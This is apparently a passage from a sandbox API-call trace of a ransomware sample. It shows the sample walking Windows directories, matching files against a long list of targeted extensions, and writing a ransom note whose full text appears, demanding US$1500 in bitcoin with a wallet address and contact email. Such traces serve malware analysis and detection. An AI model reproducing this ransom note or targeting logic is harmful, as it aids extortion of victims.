(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.xdw") returned 0 [0099.509] lstrlenA (lpString="*.xdw") returned 5 [0099.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.ods") returned 0 [0099.509] lstrlenA (lpString="*.ods") returned 5 [0099.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.wav") returned 0 [0099.509] lstrlenA (lpString="*.wav") returned 5 [0099.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mp3") returned 0 [0099.509] lstrlenA (lpString="*.mp3") returned 5 [0099.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.aiff") returned 0 [0099.509] lstrlenA (lpString="*.aiff") returned 6 [0099.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.flac") returned 0 [0099.509] lstrlenA (lpString="*.flac") returned 6 [0099.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.m4a") returned 0 [0099.511] lstrlenA (lpString="*.m4a") returned 5 [0099.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.csv") returned 0 [0099.511] lstrlenA (lpString="*.csv") returned 5 [0099.511] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3c81920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3c81920, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.511] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.511] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3c81920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3c81920, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0099.511] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.511] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3031762e, dwReserved1=0x642e302e, cFileName="Microsoft.Vsa", cAlternateFileName="MICROS~2.VSA")) returned 1 [0099.511] lstrcmpA (lpString1=".", lpString2="Microsoft.Vsa") returned -1 [0099.511] lstrcmpA (lpString1="..", lpString2="Microsoft.Vsa") returned -1 [0099.511] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.511] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Vsa" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa" [0099.511] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa") returned 42 [0099.512] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.512] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.512] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.512] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.512] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.512] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0099.512] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.513] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.513] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\*.*") returned="*.*" [0099.513] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\", lpString2="8.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a" [0099.513] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a") returned 68 [0099.513] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.513] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.513] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.513] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.513] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.513] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb915df6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb915df6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa40d94bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.dll", cAlternateFileName="")) returned 1 [0099.514] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.dll") returned -1 [0099.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.dll") returned -1 [0099.514] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.dll") returned -1 [0099.514] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\" [0099.514] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.514] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.514] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.vsa\\8.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.514] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.vsa\\8.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.515] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.515] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.517] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.518] CloseHandle (hObject=0x90) returned 1 [0099.518] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.Vsa.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll" [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.ems") returned 0 [0099.518] lstrlenA (lpString="*.ems") returned 5 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.db") returned 0 [0099.518] lstrlenA (lpString="*.db") returned 4 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.dbf") returned 0 [0099.518] lstrlenA (lpString="*.dbf") returned 5 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.myox") returned 0 [0099.518] lstrlenA (lpString="*.myox") returned 6 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.myo") returned 0 [0099.518] lstrlenA (lpString="*.myo") returned 5 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qbw") returned 0 [0099.518] lstrlenA (lpString="*.qbw") returned 5 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qbb") returned 0 [0099.518] lstrlenA (lpString="*.qbb") returned 5 [0099.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qbm") returned 0 [0099.519] lstrlenA (lpString="*.qbm") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qbo") returned 0 [0099.519] lstrlenA (lpString="*.qbo") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qbx") returned 0 [0099.519] lstrlenA (lpString="*.qbx") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qba") returned 0 [0099.519] lstrlenA (lpString="*.qba") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qby") returned 0 [0099.519] lstrlenA (lpString="*.qby") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qbj") returned 0 [0099.519] lstrlenA (lpString="*.qbj") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.ofx") returned 0 [0099.519] lstrlenA (lpString="*.ofx") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.qif") returned 0 [0099.519] lstrlenA (lpString="*.qif") returned 5 [0099.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mye") returned 0 [0099.520] lstrlenA (lpString="*.mye") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mbox") returned 0 [0099.520] lstrlenA (lpString="*.mbox") returned 6 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.eml") returned 0 [0099.520] lstrlenA (lpString="*.eml") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.pst") returned 0 [0099.520] lstrlenA (lpString="*.pst") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.ost") returned 0 [0099.520] lstrlenA (lpString="*.ost") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.idx") returned 0 [0099.520] lstrlenA (lpString="*.idx") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.dbx") returned 0 [0099.520] lstrlenA (lpString="*.dbx") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.sql") returned 0 [0099.520] lstrlenA (lpString="*.sql") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mdb") returned 0 [0099.520] lstrlenA (lpString="*.mdb") returned 5 [0099.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.fdb") returned 0 [0099.520] lstrlenA (lpString="*.fdb") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.wab") returned 0 [0099.521] lstrlenA (lpString="*.wab") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.dat") returned 0 [0099.521] lstrlenA (lpString="*.dat") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.txt") returned 0 [0099.521] lstrlenA (lpString="*.txt") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.jpeg") returned 0 [0099.521] lstrlenA (lpString="*.jpeg") returned 6 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.jpg") returned 0 [0099.521] lstrlenA (lpString="*.jpg") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.png") returned 0 [0099.521] lstrlenA (lpString="*.png") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.php") returned 0 [0099.521] lstrlenA (lpString="*.php") returned 5 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.cs") returned 0 [0099.521] lstrlenA (lpString="*.cs") returned 4 [0099.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.cpp") returned 0 [0099.522] lstrlenA (lpString="*.cpp") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.rar") returned 0 [0099.522] lstrlenA (lpString="*.rar") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.zip") returned 0 [0099.522] lstrlenA (lpString="*.zip") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.html") returned 0 [0099.522] lstrlenA (lpString="*.html") returned 6 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.htm") returned 0 [0099.522] lstrlenA (lpString="*.htm") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.xlsx") returned 0 [0099.522] lstrlenA (lpString="*.xlsx") returned 6 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.xls") returned 0 [0099.522] lstrlenA (lpString="*.xls") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mp4") returned 0 [0099.522] lstrlenA (lpString="*.mp4") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.ppt") returned 0 [0099.522] lstrlenA (lpString="*.ppt") returned 5 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.pptx") returned 0 [0099.522] lstrlenA (lpString="*.pptx") returned 6 [0099.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.doc") returned 0 [0099.523] lstrlenA (lpString="*.doc") returned 5 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.dot") returned 0 [0099.523] lstrlenA (lpString="*.dot") returned 5 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.docx") returned 0 [0099.523] lstrlenA (lpString="*.docx") returned 6 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.7z") returned 0 [0099.523] lstrlenA (lpString="*.7z") returned 4 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.tar") returned 0 [0099.523] lstrlenA (lpString="*.tar") returned 5 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.bz2") returned 0 [0099.523] lstrlenA (lpString="*.bz2") returned 5 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.gz") returned 0 [0099.523] lstrlenA (lpString="*.gz") returned 4 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mkv") returned 0 [0099.523] lstrlenA (lpString="*.mkv") returned 5 [0099.523] PathMatchSpecA 